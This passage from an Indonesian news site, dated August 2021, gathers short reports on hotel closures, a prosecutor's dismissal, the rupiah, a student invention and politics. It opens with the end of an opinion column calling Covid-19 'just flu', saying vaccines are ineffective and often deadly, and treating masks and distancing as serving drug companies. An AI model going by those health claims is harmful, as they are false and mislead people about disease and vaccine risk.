flu. Perangkat paling ampuh melawan flu adalah imunitas tubuh baik yang bawaan ataupun yang diperoleh melalui gaya hidup sehat manusia sebagai makhluq multi-dimensi, bukan sekedar makhluq biokimia semacam binatang. Anak muda yang sehat yang terpapar Flu Covid-19 akan mengalami gejala flu biasa atau sedikit lebih berat namun akan sembuh dengan sendirinya dengan bantuan obat flu plus multivitamin terutama vitamin D. Flu Covid-19 memang bisa mematikan jika menyerang manusia dengan penyakit tak menular bawaan (comorbid) seperti jantung koroner, hipertensi, diabetes mellitus, atau kanker dan pasien yang mengalami malnutrisi. Malnutrisi ini memperparah comorbid yang sudah ada pada pasien terduga Covid-19. Apalagi lansia. Jika ditangani dengan benar, angka kesembuhan covid-19 sangat tinggi. Tidak mengherankan karena Covid-19 memang sesungguhnya hanya flu. Apapun varian dan mutasinya, Covid-19 tetap hanya flu. Kedua, vaksin-vaksin yang beredar saat ini hanya memperoleh otorisasi darurat. Efikasinya tidak meyakinkan. Padahal, keluhan KIPI (Kejadian Ikutan Pasca Imunisasi) cukup banyak, sebagian malah mematikan. Kedaruratan ini highly debatable dan berpotensi maladministrasi publik. Hemat saya, kedaruratan justru diakibatkan oleh pandemisasi flu Covid oleh WHO, serta hampir semua protokol "kesehatan" nya, terutama pembatasan mobilitas lokal. Semburan narasi bahwa penularan melalui kerumunan telah mengantar pada protokol 3M (menutup mulut dan hidung dengan masker, mencuci tangan dan menjaga jarak). Padahal tertular flu bagi warga muda yang sehat malah lebih baik daripada vaksinasi dengan hasil imunitas yang masih meragukan. Dengan nutrisi yang sehat, natural herd immunity melawan flu lebih murah daripada vaksinasi dan tanpa menghancurkan ekonomi. Ditambah dengan isolasi baik di rumah ataupun di rumah sakit, sumber-sumber imunitas manusia sebagai makhluq multi-dimensi justru tergerus habis. Padahal imunitas dibangun sebagian besar justru melalui keakraban interaksi manusiawi, aktifitas fisik dan mental di ruang terbuka di bawah matahari, serta nutrisi seimbang. Mobilitas lokal, apalagi metabolik (berjalan dan bersepeda), seharusnya justru dipromosikan pada saat karantina wilayah diterapkan. Ekonomi lokal bisa tetap berputar. Kedaruratan yang menjadi alasan pemaksaan vaksinasi massal adalah hasil kebijakan yang keliru atau bahkan maladministrasi publik: kebijakan bukan untuk melayani publik, tapi melayani pihak tertentu seperti industri farmasi. Ketiga, pemerintah mestinya menjalankan amanah konstitusi dengan mengambil politik kesehatan yang melindungi segenap bangsa melalui kemandirian sektor kesehatan. Politik kesehatan kita seharusnya lebih preventif dan promotif. Sudah lama sistem kesehatan nasional kita bermasalah: kuratif, tidak efisien, tidak berkelanjutan, dan tidak mandiri karena banyak tergantung pada industri farmasi asing. Vaksinasi dengan vaksin buatan sendiri (bukan impor) akan lebih diterima. Comorbid dan malnutrisi yang menggerogoti kesehataan publik kurang memperoleh perhatian serius dan makin terbengkalai akibat pandemisasi Covid-19 ini. Keempat, politik kesehatan yang benar adalah yang menempatkan publik bukan sekedar pasien atau pesakitan, tapi juga produsen kesehatan sebagai public goods. Publik adalah manusia yang merdeka yang tidak saja memiliki tanggungjawab atas kesehatan tubuhnya sendiri tapi juga memiliki potensi untuk ikut menyediakan kesehatan. Vaksinasi paksa massal melawan flu Covid-19 tidak saja merampas kemerdekaan sipil warga negara yang bertanggungjawab, tapi sekaligus a waste of public money. Imunitas nasional melawan flu covid-19 dapat dibangun dengan intimasi dan nutrisi massal. Bukan dengan isolasi dan vaksinasi paksa massal. Penulis adalah Guru Besar Fakultas Teknologi Kelautan ITS Surabaya

Sebanyak 560 Hotel di Jawa Barat Tutup Akibat Pandemi Corona

Bandung, FNN - Badan Pimpinan Daerah Perhimpunan Hotel dan Restoran Indonesia ( BPD PHRI) Jawa Barat menyatakan sebanyak 560 hotel dan 280 restoran di wilayah Jawa Barat tutup akibat pandemi Coronavirus disease 2019 (Covid-19). "Pada Juni 2020 lalu ada 560 hotel yang tutup, 280 restoran yang tutup. Kemungkinan keadaannya lebih besar bulan Juni 2021 karena saat ini keadaan hotel di Jalan Cihampelas saja sudah ada enam yang tutup dengan okupansi hotel di bawah lima persen," kata Ketua PHRI Jawa Barat ((Jabar) Herman Muchtar dalam jumpa pers daring di Bandung, Kamis, 5 Agustus 2021. Jumlah hotel dan restoran yang tutup akibat pandemi Covid-19 sekarang bisa lebih besar karena data tersebut merupakan data tahun lalu. "Kami yakin data sekarang belum lengkap dan kemungkinan lebih besar dibandingkan dari Juni tahun lalu," katanya sebagaimana dikutip dari Antara. Sebagai contohnya, kata Herman, di Kawasan Cihampelas Kota Bandung, kini ada enam hotel yang terpaksa harus tutup karena terdampak pandemi Covid-19. "Itu di Cihampelas tutup karena okupansinya di bawah lima persen, bahkan cuma satu persen. Ini menyedihkan sekali. Hotel bintang 3 dan 4 pun ada yang tutup," kata dia. Sementara itu menyikapi kejadian percobaan bunuh diri anggota Asosiasi Kafe dan Restoran (AKAR) di Balai Kota Bandung, Herman mengungkapkan ia tidak tahu rencana yang dilakukan oleh Gan Bondillie atau Bonbon tersebut. "Jika seandainya pengurus PHRI dan AKAR tahu rencana Bonbon, pasti sudah kami larang. Enggak ada yang tahu, tahunya malah setelah kejadian," ujar Herman Pihaknya menyesalkan kejadian tersebut. Sebab, banyak orang yang mengalami hal sama. Ia menegaskan, Tuhan tidak memberi kesulitan sesuai kemampuan. "Jadi pada bulan Mei, kami semua dalam rapat menyatakan pengusaha bisa bertahan hingga Juli 2021 dengan dana secukupnya," ujar Herman. Menurut dia, hal ini pun berdampak pada karyawan yang dirumahkan. Pengusaha kebingungan mau membayar gaji mereka menggunakan apa. Ia mengungkapkan kondisi karyawan hotelnya yang mulanya ada 80 kini tersisa 26 dan mereka jam kerjanya harus dibagi-bagi. "Untuk tamu hotel pun paling banyak isinya tiga (orang). Menutupi keadaan minus enam bulan masih mending. Kalau sekarang sudah 1,5 tahun," ujarnya. (MD)

Kejaksaan Agung Proses Pemberhentian Pinangki Secara tidak Hormat

Jakarta, FNN - Kejaksaan Agung RI sedang memproses pemberhentian tidak dengan hormat jaksa Pinangki Sirna Malasari sebagai pegawai negeri sipil (PNS) setelah kasus hukumnya sudah memiliki kekuatan hukum tetap atau inkrah. "Saat ini pemberhentian tidak dengan hormat sebagai PNS terhadap Dr. Pinangki Sirna Malasari dalam proses," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung RI Leonard Eben Ezer Simanjuntak dalam keterangan tertulis yang diterima di Jakarta, Kamis, 5 Agustus 2021. Ia mengatakan, surat pemberhentian Pinangki sebagai jaksa tersebut akan keluar dalam waktu dekat. Dasar pemberhentian tidak dengan hormat (PTDH) Pinangki berdasarkan Putusan Pengadilan Tindak Pidana Korupsi pada Pengadilan Negeri Jakarta Pusat Nomor : 38 / Pid.Sus / 2020 / PN.Jkt.Pst. tanggal 08 Februari 2021 jo. Putusan Pengadilan Tinggi DKI Jakarta Nomor : 10 / Pid.Sus / 2021 / PT.DKI tanggal 14 Juni 2021 atas nama terdakwa Pinangki Sirna Malasari yang putusannya telah berkekuatan hukum tetap (inkracht). "Dalam waktu dekat akan dikeluarkan keputusan pemberhentian tidak dengan hormat sebagai PNS kepada yang bersangkutan," ujarnya. Leonard menegaskan, Pinangki sudah tidak menerima gaji sebagai PNS kejaksaan sejak September 2020. Begitu juga dengan tunjangannya sudah diberhentikan sejak Agustus 2020. Ia pun membantah adanya pemberitaan yang menyebutkan Pinangki masih menerima gaji selama persidangan kasus korupsi yang dijalaninya. "Bersama ini kami luruskan materi pemberitaan 'tidak benar'. Kami sampaikan bahwa gaji Pinangki Sirna Malasari sudah tidak diterima (diberhentikan) sejak September 2020. Sedangkan tunjangan kinerja dan uang makan juga sudah tidak diterima lagi oleh yang bersangkutan (diberhentikan) sejak Agustus 2020," katanya. Dia menyebutkan, Pinangki Sirna Malasari telah diberhentikan sementara dari jabatan PNS sehingga sudah tidak lagi berstatus sebagai jaksa sejak Agustus 2020. Pemberhentian sementara itu berdasarkan Keputusan Jaksa Agung RI Nomor 164 Tahun 2020 tanggal 12 Agustus 2020. "Perlu kami sampaikan bahwa berdasarkan Keputusan Jaksa Agung Republik Indonesia Nomor 164 Tahun 2020 tanggal 12 Agustus 2020, Pinangki Sirna Malasari telah diberhentikan sementara dari jabatan PNS dan secara otomatis yang bersangkutan tidak lagi sebagai jaksa," ujarnya. Pemberitaan soal status PNS Pinangki Sirna Malasari yang masih belum diberhentikan diungkapkan oleh Masyarakat Anti Korupsi Indonesia (MAKI). Koordinator MAKI Bonyamin Saiman berharap dengan telah-nya kasus Pinangki, dan sudah dieksekusinya yang bersangkutan ke Lapas Kelas IIA Tangerang, otomatis segara dilakukan pemberhentian tidak dengan hormat terhadap Pinangki. Hal itu berdasarkan Peraturan Pemerintah Nomor 53 Tahun 2010. PP Nomor 53 Tahun 2010 itu, kata Bonyamin, menerangkan pemberhentian tidak dengan hormat seorang jaksa apabila dia melakukan pelanggaran hukum dan dihukum maksimal di atas 5 tahun. "Jika tidak segera diberhentikan maka hak gaji masih bisa diterima oleh Pinangki. Jangan sampailah uang negara malah untuk memberikan gaji terhadap orang yang sudah dieksekusi dalam kasuskorupsi," ujarnya. Pinangki Sirna Malasari merupakan terdakwa tindak pidana korupsi yang melibatkan buron kelas kakap Djoko Tjandra dan Inspektur Jenderal Napoleon Bonaparte. Pengadilan Tindak Pidana Korupsi Jakarta memvonis Pinangki 10 tahun penjara. Selain itu, ia dihukum membayar denda Rp 600 juta subsider 6 bulan kurungan. Namun, Pengadilan Tinggi DKI Jakarta pada sidang banding Senin (14/6) memangkas hukuman Pinangki dari 10 tahun menjadi 4 tahun. Dalam perkara ini, Pinangki terbukti melakukan tiga perbuatan pidana. Ia terbukti menerima suap sebesar 500.000 dolar AS dari terpidana kasus cessie Bank Bali Djoko Tjandra. Uang itu diberikan dengan tujuan agar Djoko Tjandra dapat kembali ke Indonesia tanpa harus dieksekusi pidana 2 tahun penjara berdasarkan putusan Peninjauan Kembali No. 12 tertanggal 11 Juni 2009. Pinangki ikut menyusun action plan berisi 10 tahap pelaksanaan untuk meminta fatwa Mahkamah Agung (MA) atas putusan PK Djoko Tjandra dengan mencantumkan inisial "BR" yaitu Burhanuddin sebagai pejabat di Kejaksaan Agung dan "HA" yaitu Hatta Ali selaku pejabat di MA dengan biaya 10 juta dolar AS namun baru diberikan 500.000 dolar AS sebagai uang muka. (MD).

Polisi Tetapkan Dinar Candy Jadi Tersangka Asusila

Jakarta, FNN - Penyidik Polres Metro Jakarta Selatan menetapkan DC alias DM sebagai tersangka dugaan rekaman video asusila. Kapolres Metro Jakarta Selatan Komisaris Besar Azis Andriansyah mengatakan, perempuan yang berprofesi sebagai disk jockey itu menjadi tersangka berdasarkan hasil pemeriksaan penyidik dari bukti dan keterangan saksi-saksi. "Dari alat bukti yang dikumpulkan maka selesai kita melaksanakan pemeriksaan dan diakhiri gelar perkara. Maka kita menetapkan saudara DC ini sebagai tersangka dalam tindak pidana pornografi sebagaimana tercantum dalam Pasal 36 nomor 44 tahun 2008 tentang Pornografi, dengan ancaman hukuman 10 tahun penjara dan atau denda Rp 5 miliar," kata Azis, di Mapolres Jakarta Selatan, Kamis, 5 Agustus 2021. Sebelumnya, Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus mengatakan DC ditangkap di Jalan Fatmawati, Jakarta Selatan saat keluar dari kediaman temannya sekitar pukul 21.30 malam, Rabu (4/8). Selain dia, polisi juga mengamankan adiknya yang menjadi asisten pribadinya. Berdasarkan hasil pemeriksaan, DC menyuruh adiknya menggunakan handphone milik pribadinya untuk merekam aksi tidak terpuji itu. "Ini jadi barang bukti. Ada dua telefon selular di sini. Ini milik saudari DC. Dengan menggunakan salah satu handphone itu kemudian berdasarkan perintah dari saudari DM atau DC, adiknya memvideokan atau mengambil gambarnya pada saat di sekitar Jalan Adhyaksa Lebak Bulus," ujar Yusri. Saat menggelar konferensi pers di Mako Polres Metro Jakarta Selatan, pihak penyidik tidak menghadirkan tersangka DC di hadapan media. Sebelumnya, warganet heboh karena aksi yang dilakukan Dinar Candy. Ia melakukan melakukan aksi tidak terpuji itu dengan mempertontonkan dirinya menggunakan pakaian bikini di pinggir jalan. Aksi tersebut dilakukannya karena mengaku stres akibat perpanjangan penerapan PPKM. Tekanan ekonomi menjadi alasannya melakuka aksi di trotoar dekat persimpangan Jalan Lebak Bulus Raya, Cilandak, Jakarta Selatan. (MD).

Rupiah Melemah Tertekan Pernyataan Hawkish The Fed

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta pada Kamis sore melemah, tertekan pernyataan bernada hawkish atau ketat oleh pejabat bank sentral Amerika Serikat (AS), Federal Reserve (Fed). Rupiah ditutup terkoreksi 30 poin atau 0,21 persen ke posisi Rp 14.343 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp 14.313 per dolar AS. Direktur PT TRFX Garuda Berjangka Ibrahim Assuaibi di Jakarta, Kamis, mengatakan, membaiknya data ekonomi Indonesia pada kuartal kedua 2021 tidak serta merta bisa menopang penguatan mata uang Garuda. "Hal ini disebabkan data eksternal yang begitu kuat dan menahan laju penguatan mata uang rupiah sebelumnya, terutama komentar Wakil Gubernur The Fed Richard Clarida dan membaiknya data ekonomi AS," ujar Ibrahim, sebagaimana dikutip dari Antara. Menurut Richard, bank sentral berada di jalur untuk memulai kenaikan suku bunga pada 2023 dengan kemungkinan pengumuman bertahap akhir tahun ini. Ia mengisyaratkan langkah untuk mengurangi pembelian obligasi akhir tahun ini atau awal tahun depan tergantung pada bagaimana nasib pasar tenaga kerja dalam beberapa bulan ke depan. Dari domestik, Badan Pusat Statistik (BPS) mencatat perekonomian Indonesia berhasil tumbuh positif mencapai 7,07 persen year on year (yoy) pada kuartal II 2021 didukung upaya pemerintah yang gencar dalam menjalankan program vaksinasi sehingga mampu meningkatkan kepercayaan masyarakat untuk melakukan mobilitas. Pertumbuhan tersebut juga dipengaruhi oleh perbaikan ekonomi global, terutama beberapa negara yang menjadi mitra dagang Indonesia seperti China tumbuh 7,9 persen, Singapura 14,3 persen, Korea Selatan 5,9 persen, dan Vietnam 6,6 persen. Terkait pandemi, jumlah kasus harian Covid 19 di Tanah Air pada Rabu (4/8) kemarin mencapai 35.867 kasus baru sehingga total jumlah kasus terkonfirmasi positif Covid 19 mencapai 3,53 juta kasus. Sementara jumlah kasus meninggal akibat terpapar Covid 19 masih tinggi yaitu bertambah 1.747 kasus sehingga totalnya mencapai 100.636 kasus. Meski demikian, sebanyak 2,9 juta orang telah dinyatakan sembuh sehingga total kasus aktif Covid 19 sehingga total kasus aktif mencapai 524.011 kasus. Rupiah pada pagi hari dibuka melemah ke posisi Rp 14.330 per dolar AS. Sepanjang hari rupiah bergerak di kisaran Rp 14.325 per dolar AS hingga Rp 14.359 per dolar AS. Sementara itu, kurs Jakarta Interbank Spot Dollar Rate (JISDOR) Bank Indonesia pada Kamis melemah ke posisi Rp 14.342 per dolar AS dibandingkan posisi hari sebelumnya Rp 14.324 per dolar AS. (MD).

Mahasiswa Asal Bogor Lahirkan Inovasi Bantal Pereda Gangguan Rahang

Bogor, FNN - Mahasiswa asal Bogor, Jawa Barat, Nabila Ramdani melahirkan sebuah inovasi berupa bantal pereda gangguan sendi rahang atau temporomandibular disorder (TMD). "TMD secara signifikan menyebabkan ketidaknyamanan dan mempengaruhi aktivitas hidup sehari-hari, seperti gangguan tidur," ungkap Nabila saat ditemui di Bogor, Kamis, 5 Agustus 2021. Menurut dia, alat yang mengedepankan teknologi terapi laser itu merupakan basis terapi yang aman, non-invasif, tidak menyakitkan, serta hanya membutuhkan waktu perawatan yang singkat. Kemudian, efeknya relatif lebih cepat jika dibandingkan penanganan gangguan sendi rahang lainnya, sehingga dapat langsung dirasakan oleh pasien setelah perawatan, "Inovasi ini diharapkan mampu menjadi solusi bagi penderita TMD untuk mendapatkan kualitas tidur dan penanganan yang lebih baik, sehingga tidak ada lagi penurunan produktivitas dikalangan masyarakat akibat nyeri TMD dan gangguan tidur terkait TMD," ujarnya sebagaimana dikutip dari Antara. Bantal tersebut dirancang dengan menyempurnakan bentuk bantal ideal, menggunakan bahan ramah lingkungan dan ergonomis menyesuaikan postur tubuh manusia saat tidur. Alat berbentuk bantal pada umumnya itu dilengkapi dengan relay timer yang akan menghentikan paparan laser jika alat telah bekerja selama 15 menit. Timer berfungsi memutus otomatis listrik sesuai dosis aman penggunaan terapi laser tingkat rendah, yakni 660 nanometer. Material bantal yang digunakan yaitu lateks karena dapat mengikuti bentuk tekanan kepala, leher, dan bahu sehingga memberikan penyangga dan kenyamanan yang tepat. "Bantal lateks dapat membantu mencegah panas berlebih karena struktur selulernya. Lateks tetap sejuk secara alami sepanjang malam dan memberikan sirkulasi udara maksimum," ujar Nabil. Menurutnya, produk ini juga memanfaatkan serat bambu sebagai sarung bantal yang bersifat antibakteri, hipoalergenik, serta dapat secara alami menyerap kelembapan dan panas. Inovasi tersebut ia rancang bersama para mahasiswa kedokteran lainnya, yakni Muhammad Refal Akbar, Al Ghumaisha, Ahmad Ghazalli Darwis, dan Andi Muhammad Irsyad Baso, dengan selain oleh drg. Nursyamsi, M.Kes. Berkat inovasi itu, para mahasiswa tersebut berhasil mendapatkan dana hibah dari Program Kreativitas Mahasiswa bidang Karsa Cipta (PKM-KC) dari Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi Republik Indonesia. (MD).

Basarah Ingatkan Indonesia Jangan Ikut Arus Tiongkok atau Amerika

Jakarta, FNN - Wakil Ketua MPR Ahmad Basarah mengatakan Indonesia sebaiknya tidak ikut arus mendukung salah satu dari kedua negara yang sedang berkontestasi sebagai pemegang hagemoni dunia, yakni Amerika Serikat dan Tiongkok. Dia mengusulkan Indonesia tetap konsisten mengikuti ajaran politik Bung Karno yang memilih menggalang aliansi negara-negara nonblok saat AS sebagai kampiun demokrasi bersitegang dengan negara-negara blok komunis. "Indonesia dapat memanfaatkan situasi ini untuk meredakan ketegangan dan mengusung perdamaian, sambil menarik manfaat ekonomi dan manfaat geopolitik dari persaingan global ini," kata Basarah dalam keterangan tertulis diterima di Jakarta, Rabu. Ia mengatakan, dari sejumlah pemberitaan media internasional tampak bahwa AS dan Tiongkok memang telah memicu ketegangan dunia setelah kedua negara terlibat perang dagang, sementara dalam kondisi pandemi keduanya saling menyalahkan dan menarik dukungan politik banyak negara. Menteri Pertahanan AS Lloyd Austin belum lama ini berkunjung ke Asia Tenggara, sementara di saat hampir bersamaan dilangsungkan latihan tempur gabungan AS bersama negara-negara Asia Tenggara, termasuk Indonesia. Ahmad Basarah menilai sangat wajar jika AS melihat Tiongkok sebagai kekuatan baru dunia. Pertumbuhan ekonomi Tiongkok kini tetap di angka 2,3 persen di akhir 2020 meski seluruh dunia terkena pandemi. Tiongkok diperkirakan akan menyalip AS sebagai ekonomi terbesar dunia di tahun 2050. Hal ini akan mengganggu hegemoni AS dan sekutunya. Berbagai forum internasional seperti KTT G7, NATO, dan Uni Eropa (blok Barat) selalu berfokus pada ancaman Rusia dan Tiongkok di Asia Pasifik. Bagi AS, kedua negara itu disebut sebagai "ancaman ganda". Tiongkok sebagai negara dengan ekonomi terbesar kedua setelah AS tidak pernah diundang ke semua forum itu. "Dengan konstelasi dunia yang seperti itu, sebenarnya terbuka peran buat Indonesia untuk aktif mengusulkan semua negara, termasuk Tiongkok, dilibatkan dalam semua pertemuan tingkat dunia itu," ujar Basarah. Menurut dia, Indonesia sangat layak menjalankan peran perdamaian dunia. Pembukaan UUD NRI Tahun 1945 alinea keempat sudah tegas mengamanatkan agar Indonesia turut serta mewujudkan perdamaian dunia berdasarkan kemerdekaan, perdamaian abadi, dan keadilan sosial. Di sisi lain, Ahmad Basarah berharap keterlibatan Jerman sebagai sekutu AS mengirim kapal perang ke Laut China Selatan (LCS) tidak menambah panas suhu politik di kawasan sengketa itu. "Bangsa Indonesia tentu berharap keterlibatan militer Jerman sebagai sekutu AS di Laut China Selatan benar-benar untuk tujuan kebebasan navigasi seperti yang disampaikan Berlin kepada sekutunya, bukan untuk tujuan lain, apalagi untuk menambah panas suhu politik di kawasan sengketa itu," tutur Basarah. Menurut Basarah, dunia mestinya bersyukur perang dingin antara AS dengan Rusia sudah lewat. Daripada memunculkan konflik baru sesama penghuni planet bumi, dia menyarankan setiap negara terutama AS dan Tiongkok mencari solusi terbaru untuk menciptakan stabilitas regional dan internasional. "Semua penghuni planet bumi kini punya musuh bersama bernama siluman COVID-19. Musuh kita ini tidak terlihat, tidak mengenal hukum perang, juga tidak mengenal perikemanusiaan. Mengapa tidak semua umat manusia bersatu melawan musuh bersama ini ketimbang perang," ujar Basarah. (sws)

Ketua DPD RI Singgung Joe Biden Soal Jakarta Tenggelam

Jakarta, FNN - Ketua Dewan Perwakilan Daerah, AA LaNyalla Mahmud Mattalitti, dalam pertemuan dengan Duta Besar Amerika Serikat untuk Indonesia, Sung Y Kim, menyinggung pernyataan Presiden AS Joe Biden terkait kemungkinan tenggelamnya Jakarta dalam 10 tahun akibat perubahan iklim. Menurut LaNyalla, dalam pernyataan tertulis yang diterima di Jakarta, Rabu, negara adidaya seperti Amerika Serikat seharusnya dapat memberikan solusi yang dapat ditawarkan untuk mencegah adanya krisis iklim yang dapat menyebabkan kejadian tersebut, alih-alih hanya fokus pada pernyataan terkait Jakarta itu. “Di bawah Presiden Joe Biden, kita belum melihat kejutan-kejutan positif dalam hubungan bilateral, kecuali pernyataannya yang menggemparkan itu. Kita justru minta solusinya apa, sebab untuk memindahkan ibukota ke Kalimantan bukan hal yang mudah," ujar LaNyalla. Sebelumnya, Biden menyoroti perubahan iklim dan menyebut Jakarta berada di bawah ancaman kenaikan level permukaan air, dalam pidato di Kantor Direktur Intelijen Nasional Amerika Serikat, pada 27 Juli lalu. Terkait pernyataan LaNyalla, Kim menjelaskan, pernyataan Biden itu terkait dengan isu perubahan iklim, yang dilihat sebagai masalah besar bagi seluruh dunia. “Perubahan iklim menjadi perhatian pemerintah Amerika Serikat di seluruh dunia, termasuk Indonesia. Ini prioritas tinggi kami. Sehingga perlu kerja sama yang kuat dalam penanganannya," ujarnya. Ia juga menegaskan bahwa utusan khusus Presiden Amerika Serikat untuk iklim, John Kerry, sangat fokus melakukan komunikasi dan koordinasi dengan Kementerian terkait di Indonesia dalam menangani permasalahan itu. Menanggapi hal itu, Ketua Badan Kerjasama Antar Parlemen, Gusti Farid Hasan Aman, meminta agar berbagai dukungan dari Amerika Serikat dapat dipercepat untuk mengantisipasi dampak perubahan iklim. "Kita membutuhkan transfer teknologi, pendanaan, dan peningkatan SDM yang bisa menangani soal iklim ini," ujar dia. (sws)

Kapolda Sumsel Minta Maaf Atas Heboh Dana Rp 2 Triliun

Sumatera Selatan, FNN - Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri sampaikan permohonan maaf secara langsung kepada seluruh masyarakat ihwal dana hibah Rp2 triliun dari almarhum Akidi Tio (warga asal Langsa, Aceh Timur, Provinsi Aceh) yang belum jelas keberadaannya. Permohonan maaf tersebut disampaikan Kapolda didampingi oleh Kepala Bidang Humas Komisaris Besar Polisi Supriyadi di gedung promoter Markas Polisi Daerah Sumatera Selatan, Palembang, Kamis. "Saya minta maaf kepada seluruh masyarakat Indonesia, khususnya Kapolri, Pimpinan di Mabes Polri, anggota Polri, masyarakat Sumsel, tokoh agama dan tokoh adat termasuk Forkompinda Sumsel, Gubernur, Pangdam dan Danrem," kata dia. Ia mengakui, kesalahan ada pada dirinya secara pribadi karena tidak berhati-hati dalam memastikan donasi yang diproyeksikan untuk penanggulangan COVID-19 Sumatera Selatan yang dimandatkan kepadanya tersebut sampai akhirnya menimbulkan kegaduhan. "Kegaduhan yang terjadi dapat dikatakan sebagai kelemahan saya sebagai individu. Saya sebagai manusia biasa memohon maaf, Ini terjadi akibat ke tidak hati-hatian saya," kata dia. Kegaduhan dana hibah tersebut bermula saat itu dirinya dihubungi Kepala Dinas Kesehatan Provinsi Sumatera Selatan Lesty Nurainy dan dokter keluarga almarhum Akidi Tio, Hardi Darmawan di rumah dinasnya, Jumat (23/7), untuk membicarakan pemberian donasi. "Saat itu saya sebagai kapolda hanya dipercayakan untuk menyalurkan bantuan ini uangnya diminta untuk dikawal transparansinya saja," ungkap dia. Namun karena menaruh kepercayaan terhadap inisiasi kemanusiaan tersebut lantas tidak terlalu mendalami kepastiannya, sebab sudah diyakinkan uang tersebut tinggal diproses pencairannya saja. Hingga akhirnya sampai saat ini uang tersebut masih belum jelas keberadaannya dan berujung kepelikan bagi kedua belah pihak. Ia menjelaskan, sama sekali tidak mengenal anak perempuan almarhum Akidi Tio yang bernama Heryanti melainkan hanya mengenal ayahnya dan anak sulungnya yang bernama Johan saja. "Saya hanya kenal dengan Akidi Tio saat di Palembang dan Johan saat saya bertugas di Aceh Timur, sedangkan Heriyanti saya sama sekali tidak kenal dia," tandasnya. (sws)

Pengumuman dari FNN TV

PENGUMUMAN Kepada para pemirsa dan pecinta FNN TV. Bersama ini kami menyampaikan permohonan maaf, channel yang Anda sukai tidak bisa tayang mulai Kamis, 5 Agustus sampai Jum'at, 13 Agustus 2021 karena ada kendala teknis. Demikian pengumuman ini kami sampaikan. Terimakasih atas dukungannya selama ini. Redaksi FNN TV

Pasar Nonesensial Jogjakarta Dibuka Aktivitas Belum Sepenuhnya Pulih

Jogjakarta, FNN - Lima pasar tradisional yang menjual barang nonesensial di Kota Jogjakarta sudah kembali diizinkan untuk beroperasi, tapi kegiatan jual beli di pasar tersebut belum sepenuhnya pulih, khususnya di Pasar Beringharjo Barat. "Aktivitas di pasar ini sangat tergantung pada wisatawan dan keramaian di Malioboro. Saat pariwisata belum pulih maka kondisi di pasar pun terbilang masih sepi dari pengunjung," kata Kepala Bidang Pasar Rakyat Dinas Perdagangan Kota Yogyakarta Gunawan Nugroho Utomo di Jogjakarta, Kamis. Selain itu, belum semua pedagang di Pasar Beringharjo Barat memilih membuka toko atau kiosnya saat aktivitas ekonomi di pasar nonesensial diperbolehkan kembali dibuka pada 26 Juli dengan penerapan protokol kesehatan ketat. "Baru sekitar 80 persen pedagang yang membuka kiosnya. Jika dibanding akhir Juli maka jumlah pedagang yang beraktivitas sudah lebih banyak," katanya. Selain Pasar Beringharjo Barat, pasar tradisional yang menjual barang nonesensial yang kembali diperbolehkan dibuka adalah Pasar Satwa dan Tanaman Hias Jogjakarta (Pasthy), Pasar Klithikan Pakuncen yang menjual barang bekas dan unik, Pasar Sepeda Tunjung Sari, dan Pasar Cipto Mulyo yang menjual material kebutuhan dekorasi taman. Gunawan mengatakan aktivitas di Pasthy dan Pasar Klithikan terlihat lebih ramai jika dibanding Beringharjo Barat karena barang yang dijual lebih banyak diminati oleh konsumen yang memiliki hobi tertentu. "Untuk Pasar Sepeda Tunjung Sari dan Pasar Cipto Mulyo juga berangsur pulih karena memang jumlah pedagang dan pengunjung harian tidak terlalu banyak," katanya. Aktivitas perekonomian di pasar tradisional yang menjual bahan kebutuhan pokok sehari-hari, lanjut Gunawan, berlangsung normal dengan penerapan protokol kesehatan ketat. "Kondisi pasar yang menjual bahan kebutuhan pokok memang cenderung tetap ramai meskipun ada penerapan PPKM. Tetapi kami sudah memberikan rambu-rambu agar protokol kesehatan tetap dilakukan," katanya. Jam operasional untuk seluruh pasar tradisional di Kota Yogyakarta tetap dibatasi yaitu maksimal pukul 15.00 WIB kecuali untuk Pasar Induk Giwangan yang diizinkan beroperasi hingga pukul 20.00 WIB. Kepala Dinas Perdagangan Kota Jogjakarta Yunianto mengatakan, pembatasan pengunjung pun diupayakan tetap dilakukan yaitu maksimal 50 persen dari kapasitas pasar. "Penerapan protokol kesehatan juga tetap diupayakan dijaga dengan baik. Pedagang melalui paguyuban rutin melakukan disinfeksi terhadap tempat berjualan mereka sebagai upaya agar tidak terjadi penularan COVID-19," katanya. (mth)

Guru Besar UGM Kecewa Putusan MK Terhadap Pengujian UU KPK

Jakarta, FNN - Guru Besar Hukum Tata Negara Universitas Gadjah Mada Prof Zainal Arifin Mochtar mengaku kecewa terhadap putusan Mahkamah Konstitusi (MK) terkait pengujian Undang-Undang 19 Tahun 2019 tentang Komisi Pemberantasan Korupsi (KPK) beberapa waktu lalu. "Saya mohon maaf yang mulia dan memberikan catatan karena kekecewaan saya terhadap putusan MK terdahulu," kata Prof Zainal Arifin Mochtar di sela-sela sidang perkara nomor 91/PUU-XVIII/2020 uji formil UU 11 Tahun 2020 tentang Cipta Kerja terhadap UUD 1945 yang digelar MK secara virtual di Jakarta, Kamis. Menurut dia, Majelis Hakim MK meninggalkan konsep ajaran konstitusionalitas secara materi atau etik moral konstitusional itu sendiri. Sebab, yang banyak dibahas hanya terpenuhinya aspek formal saja. Misalnya, ketika sudah ada diskusi tentang UU KPK. Padahal, sebagai contoh, ketika diskusi UU KPK di Universitas Gadjah Mada dan Universitas Andalas (Unand) diadakan terjadi penolakan besar-besaran terhadap tim DPR yang datang di dua kampus itu. "Pada saat itu tim DPR menandatangani surat tidak akan melanjutkan perubahan Undang-Undang KPK," ujar Zainal. Kemudian, bagaimana mungkin aspek formil tersebut dipakai untuk membenarkan terpenuhi-nya proses pembentukan undang-undang dalam konteks penyerapan aspirasi masyarakat. Zainal mengatakan sengaja menyinggung UU KPK dalam perkara uji formil UU Nomor 11 Tahun 2020 tentang Cipta Kerja dengan tujuan Majelis Hakim bisa melihat lebih detail tentang aspek materi dan formil serta moralitas konstitusional. Zainal sendiri mengaku pesimis terhadap uji formil UU Cipta kerja yang masuk ke MK jika cara pengujian majelis hakim sama dengan uji formil sebelumnya. Lebih jauh, ia mengatakan riset yang dilakukan oleh Pakar Hukum Tata Negara dari Sekolah Jentera Bivitri Savitri yang mengkomparasi lebih dari 45 pengujian formil, sebagian besar 